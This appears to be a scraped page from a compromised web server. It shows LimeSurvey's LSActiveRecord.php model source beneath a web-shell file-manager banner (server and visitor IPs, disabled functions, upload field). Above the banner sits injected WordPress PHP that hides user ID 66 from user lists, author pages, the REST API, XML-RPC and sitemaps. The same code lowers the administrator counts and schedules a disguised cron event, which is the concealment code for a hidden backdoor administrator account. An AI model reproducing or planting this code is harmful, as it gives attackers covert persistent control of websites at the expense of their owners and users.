add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/limesurvey/application/models/ |
Upload File : |
<?php
/*
* LimeSurvey
* Copyright (C) 2013-2026 The LimeSurvey Project Team
* All rights reserved.
* License: GNU/GPL License v2 or later, see LICENSE.php
* LimeSurvey is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*
* Extensions to the CActiveRecord class
*/
/**
* @method PluginEvent dispatchPluginModelEvent(string $sEventName, CDbCriteria $criteria = null, array $eventParams = [])
*/
class LSActiveRecord extends CActiveRecord
{
/** @var string[] Array of attributes that should be XSS filtered on mass updates */
protected $xssFilterAttributes = [];
public $bEncryption = false;
/**
* Lists the behaviors of this model
*
* Below is a list of all behaviors we register:
* @return array
* @see PluginEventBehavior
* @see CTimestampBehavior
*/
public function behaviors()
{
$aBehaviors = [];
$sCreateFieldName = ($this->hasAttribute('created') ? 'created' : null);
$sUpdateFieldName = ($this->hasAttribute('modified') ? 'modified' : null);
$sDriverName = Yii::app()->db->getDriverName();
$aBehaviors['CTimestampBehavior'] = [
'class' => 'zii.behaviors.CTimestampBehavior',
'createAttribute' => $sCreateFieldName,
'updateAttribute' => $sUpdateFieldName,
'timestampExpression' => "date('Y-m-d H:i:s', time())"
];
// Some tables might not exist/not be up to date during a database upgrade so in that case disconnect plugin events
if (!Yii::app()->getConfig('Updating')) {
$aBehaviors['PluginEventBehavior'] = [
'class' => 'application.models.behaviors.PluginEventBehavior'
];
}
return $aBehaviors;
}
/**
* Modified version that default to do the same as the original, but allows via a
* third parameter to retrieve the result as array instead of active records. This
* solves a joining problem. Usage via findAllAsArray method
*
* Performs the actual DB query and populates the AR objects with the query result.
* This method is mainly internally used by other AR query methods.
* @param CDbCriteria $criteria the query criteria
* @param boolean $all whether to return all data
* @param bool $asAR
* @return mixed the AR objects populated with the query result
* @since 1.1.7
*/
protected function query($criteria, $all = false, $asAR = true)
{
if ($asAR === true) {
return parent::query($criteria, $all);
} else {
$this->beforeFind();
$this->applyScopes($criteria);
if (!$all) {
$criteria->limit = 1;
}
$command = $this->getCommandBuilder()->createFindCommand($this->getTableSchema(), $criteria);
//For debug, this command will get you the generated sql:
//echo $command->getText();
return $all ? $command->queryAll() : $command->queryRow();
}
}
/**
* Finds all active records satisfying the specified condition but returns them as array
*
* See {@link find()} for detailed explanation about $condition and $params.
* @param mixed $condition query condition or criteria.
* @param array $params parameters to be bound to an SQL statement.
* @return array list of active records satisfying the specified condition. An empty array is returned if none is found.
*/
public function findAllAsArray($condition = '', $params = [])
{
Yii::trace(get_class($this) . '.findAll()', 'system.db.ar.CActiveRecord');
$criteria = $this->getCommandBuilder()->createCriteria($condition, $params);
return $this->query($criteria, true, false); //Notice the third parameter 'false'
}
/**
* Return the max value for a field
*
* This is a convenience method, that uses the primary key of the model to
* retrieve the highest value.
*
* @param string $field The field that contains the Id, when null primary key is used if it is a single field
* @param boolean $forceRefresh Don't use value from static cache but always requery the database
* @return false|int
* @throws Exception
*/
public function getMaxId($field = null, $forceRefresh = false)
{
static $maxIds = [];
if (is_null($field)) {
$primaryKey = $this->getMetaData()->tableSchema->primaryKey;
if (is_string($primaryKey)) {
$field = $primaryKey;
} else {
// Composite key, throw a warning to the programmer
throw new Exception(sprintf('Table %s has a composite primary key, please explicitly state what field you need the max value for.', $this->tableName()));
}
}
if ($forceRefresh || !array_key_exists($field, $maxIds)) {
$maxId = $this->dbConnection->createCommand()
->select('MAX(' . $this->dbConnection->quoteColumnName($field) . ')')
->from($this->tableName())
->queryScalar();
// Save so we can reuse in the same request
$maxIds[$field] = $maxId;
}
return $maxIds[$field];
}
/**
* Return the min value for a field
*
* This is a convenience method, that uses the primary key of the model to
* retrieve the highest value.
*
* @param string $field The field that contains the Id, when null primary key is used if it is a single field
* @param boolean $forceRefresh Don't use value from static cache but always requery the database
* @return false|int
* @throws Exception
*/
public function getMinId($field = null, $forceRefresh = false)
{
static $minIds = [];
if (is_null($field)) {
$primaryKey = $this->getMetaData()->tableSchema->primaryKey;
if (is_string($primaryKey)) {
$field = $primaryKey;
} else {
// Composite key, throw a warning to the programmer
throw new Exception(sprintf('Table %s has a composite primary key, please explicitly state what field you need the min value for.', $this->tableName()));
}
}
if ($forceRefresh || !array_key_exists($field, $minIds)) {
$minId = $this->dbConnection->createCommand()
->select('MIN(' . $this->dbConnection->quoteColumnName($field) . ')')
->from($this->tableName())
->queryScalar();
// Save so we can reuse in the same request
$minIds[$field] = $minId;
}
return $minIds[$field];
}
/**
* @param array $attributes list of attribute values (indexed by attribute names) that the active records should match.
* An attribute value can be an array which will be used to generate an IN condition.
* @param string $condition query condition or criteria.
* @param array $params parameters to be bound to an SQL statement.
* @return integer number of rows affected by the execution.
* @todo This should also be moved to the behavior at some point.
* This method overrides the parent in order to raise PluginEvents for Bulk delete operations.
*
* Filter Criteria are wrapped into a CDBCriteria instance so we have a single instance responsible for holding the filter criteria
* to be passed to the PluginEvent,
* this also enables us to pass the fully configured CDBCriteria instead of the original Parameters.
*
* See {@link find()} for detailed explanation about $condition and $params.
*/
public function deleteAllByAttributes($attributes, $condition = '', $params = [])
{
$builder = $this->getCommandBuilder();
$table = $this->getTableSchema();
$criteria = $builder->createColumnCriteria($table, $attributes, $condition, $params);
$modelEventName = get_class($this);
$eventParams = [];
if (is_subclass_of($this, 'Dynamic')) {
/** @scrutinizer ignore-call since we test if exist by subclass */
$eventParams['dynamicId'] = $this->getDynamicId();
$modelEventName = get_parent_class($this);
}
$this->dispatchPluginModelEvent('before' . $modelEventName . 'DeleteMany', $criteria, $eventParams);
$this->dispatchPluginModelEvent('beforeModelDeleteMany', $criteria, $eventParams);
return parent::deleteAllByAttributes([], $criteria, []);
}
/**
* Updates records with the specified condition.
* XSS filtering is enforced for attributes listed in model's $xssFilterAttributes property.
* See {@link find()} for detailed explanation about $condition and $params.
* Note, the attributes are not checked for safety and no validation is done.
* @param array $attributes list of attributes (name=>$value) to be updated
* @param mixed $condition query condition or criteria.
* @param array $params parameters to be bound to an SQL statement.
* @return integer the number of rows being updated
*/
public function updateAll($attributes, $condition = '', $params = array())
{
if (!empty($this->xssFilterAttributes)) {
$validator = new LSYii_Validators();
if ($validator->xssfilter) {
$attributeNames = array_keys($attributes);
$attributesToFilter = array_intersect($attributeNames, $this->xssFilterAttributes);
foreach ($attributesToFilter as $attribute) {
$attributes[$attribute] = $validator->xssFilter($attributes[$attribute]);
}
}
}
return parent::updateAll($attributes, $condition, $params);
}
/**
* Overriding of Yii's findByAttributes method to provide encrypted attribute value search
* @param array $attributes list of attribute values (indexed by attribute names) that the active record should match.
* An attribute value can be an array which will be used to generate an IN condition.
* @param mixed $condition query condition or criteria.
* @param array $params parameters to be bound to an SQL statement.
* @return static|null the record found. Null if none is found.
*/
public function findByAttributes($attributes, $condition = '', $params = [])
{
$attributes = $this->encryptAttributeValues($attributes);
return parent::findByAttributes($attributes, $condition, $params);
}
/**
* Overriding of Yii's findAllByAttributes method to provide encrypted attribute value search
* @param array $attributes list of attribute values (indexed by attribute names) that the active records should match.
* An attribute value can be an array which will be used to generate an IN condition.
* @param mixed $condition query condition or criteria.
* @param array $params parameters to be bound to an SQL statement.
* @return static[] the records found. An empty array is returned if none is found.
*/
public function findAllByAttributes($attributes, $condition = '', $params = [])
{
$attributes = $this->encryptAttributeValues($attributes);
return parent::findAllByAttributes($attributes, $condition, $params);
}
/**
* @param int $iSurveyId
* @param string $sClassName
* @return array
* TODO: Should be split into seperate functions in the appropiate model or helper class
* TODO: Make an interface for records that support encryption.
*/
public function getAllEncryptedAttributes($iSurveyId, $sClassName)
{
$aAttributes = [];
if ($sClassName == 'ParticipantAttribute') {
// participants attributes
$aAttributes[] = 'value';
} elseif ($sClassName == 'Participant') {
// participants
$aTokenAttributes = Participant::getParticipantsEncryptionOptions();
if ($aTokenAttributes['enabled'] = 'Y') {
foreach ($aTokenAttributes['columns'] as $attribute => $oColumn) {
if ($oColumn == 'Y') {
$aAttributes[] = $attribute;
}
}
}
} elseif ($iSurveyId > 0 && ($sClassName == 'TokenDynamic' || $sClassName == 'Token_' . $iSurveyId || $sClassName == 'Token')) {
//core token attributes
$oSurvey = Survey::model()->findByPk($iSurveyId);
$aTokenAttributes = $oSurvey->getTokenEncryptionOptions();
if ($aTokenAttributes['enabled'] = 'Y') {
foreach ($aTokenAttributes['columns'] as $attribute => $oColumn) {
if ($oColumn == 'Y') {
$aAttributes[] = $attribute;
}
}
}
// custom token attributes
$aCustomAttributes = $oSurvey->tokenAttributes;
foreach ($aCustomAttributes as $attribute => $value) {
if ($value['encrypted'] == 'Y') {
$aAttributes[] = $attribute;
}
}
} elseif ($sClassName == 'SurveyDynamic' || $sClassName == 'Response_' . $iSurveyId || $sClassName == 'Survey_' . $iSurveyId) {
// response attributes
$aAttributes = Response::getEncryptedAttributes($iSurveyId);
}
return $aAttributes;
}
/**
* Attribute values are encrypted ( if needed )to be used for searching purposes
* @param array $attributes list of attribute values (indexed by attribute names) that the active records should match.
* An attribute value can be an array which will be used to generate an IN condition.
* @return array attributes array with encrypted atrribute values is returned
*/
public function encryptAttributeValues($attributes = null, $bEncryptedOnly = false, $bReplaceValues = true)
{
// load sodium library
$sodium = Yii::app()->sodium;
if (method_exists($this, 'getSurveyId')) {
$iSurveyId = $this->getSurveyId();
} else {
$iSurveyId = 0;
}
$class = get_class($this);
$encryptedAttributes = $this->getAllEncryptedAttributes($iSurveyId, $class);
foreach ($attributes as $key => $attribute) {
if (in_array($key, $encryptedAttributes)) {
if ($bReplaceValues) {
$attributes[$key] = $sodium->encrypt($attributes[$key]);
}
} else {
if ($bEncryptedOnly) {
unset($attributes[$key]);
}
}
}
return $attributes;
}
/**
* Decrypt values from database
* @param string $sValueSingle String value which needs to be decrypted
*/
public function decrypt($value = '')
{
// if $sValueSingle is provided, it would decrypt
if (!empty($value)) {
// load sodium library
$sodium = Yii::app()->sodium;
return $sodium->decrypt($value);
} else {
// decrypt attributes
$this->decryptEncryptAttributes('decrypt');
return $this;
}
}
/**
* Decrypt single value
* @param string $value String value which needs to be decrypted
* @return string the decrypted string
*/
public static function decryptSingle($value = ''): string
{
// if $value is provided, it would decrypt
if (!empty($value)) {
// load sodium library
$sodium = Yii::app()->sodium;
return $sodium->decrypt($value);
}
return '';
}
/**
* Decrypt single value
* @param string $value String value which needs to be decrypted
* @return string the decrypted string
*/
public static function decryptSingleOld($value = ''): string
{
static $sodium = null;
if (!isset($sodium)) {
// load sodium library
$sodium = Yii::app()->sodiumOld;
}
// if $value is provided, it would decrypt
if (isset($value) && $value !== '') {
try {
return $sodium->decrypt($value);
} catch (throwable $e) {
// if decryption with oldDecrypt fails try it with new decryption
try {
return LSActiveRecord::decryptSingle($value);
} catch (throwable $e) {
// if decryption with new decryption fails just return the current value
// this should not happen
return $value;
}
}
}
return '';
}
/**
* Enrypt single value
* @param string $value String value which needs to be encrypted
*/
public static function encryptSingle($value = '')
{
// if $value is provided, it would decrypt
if (isset($value) && $value !== "") {
// load sodium library
$sodium = Yii::app()->sodium;
return $sodium->encrypt($value);
}
}
/**
* Encrypt values
*/
public function encrypt()
{
// encrypt attributes
$this->decryptEncryptAttributes('encrypt');
return $this;
}
/**
* Encrypt values before saving to the database
*/
public function encryptSave($runValidation = false)
{
// run validation on attribute values before encryption take place, it is impossible to validate encrypted values
if ($runValidation) {
if (!$this->validate()) {
return false;
}
}
// encrypt attributes
$this->decryptEncryptAttributes('encrypt');
// call save() method without validation, validation is already done ( if needed )
return $this->save(false);
}
/**
* Encrypt/decrypt values
*/
public function decryptEncryptAttributes($action = 'decrypt')
{
// load sodium library
$sodium = Yii::app()->sodium;
$class = get_class($this);
// TODO: Use OOP polymorphism instead of switching on class names.
if ($class === 'ParticipantAttribute') {
$aParticipantAttributes = CHtml::listData(ParticipantAttributeName::model()->findAll(["select" => "attribute_id", "condition" => "encrypted = 'Y' and core_attribute <> 'Y'"]), 'attribute_id', '');
if (array_key_exists($this->attribute_id, $aParticipantAttributes)) {
$this->value = $sodium->$action($this->value);
}
} else {
$attributes = $this->encryptAttributeValues($this->attributes, true, false);
$LEM = LimeExpressionManager::singleton();
$updatedValues = $LEM->getUpdatedValues();
foreach ($attributes as $key => $attribute) {
if ($action === 'decrypt' && array_key_exists($key, $updatedValues)) {
continue;
}
$this->$key = $sodium->$action($attribute);
}
}
}
/**
* Function to show encryption symbol in gridview attribute header if value ois encrypted
* @param int $surveyId
* @param string $className
* @param string $attributeName
* @return string
* @throws CException
*/
public function setEncryptedAttributeLabel(int $surveyId, string $className, string $attributeName)
{
$encryptedAttributes = $this->getAllEncryptedAttributes($surveyId, $className);
$encryptionNotice = gT("This field is encrypted and can only be searched by exact match. Please enter the exact value you are looking for.");
if (isset($encryptedAttributes)) {
if (in_array($attributeName, $encryptedAttributes)) {
return ' <span data-bs-toggle="tooltip" title="' . $encryptionNotice . '" class="ri-key-2-fill text-success"></span>';
}
}
}
}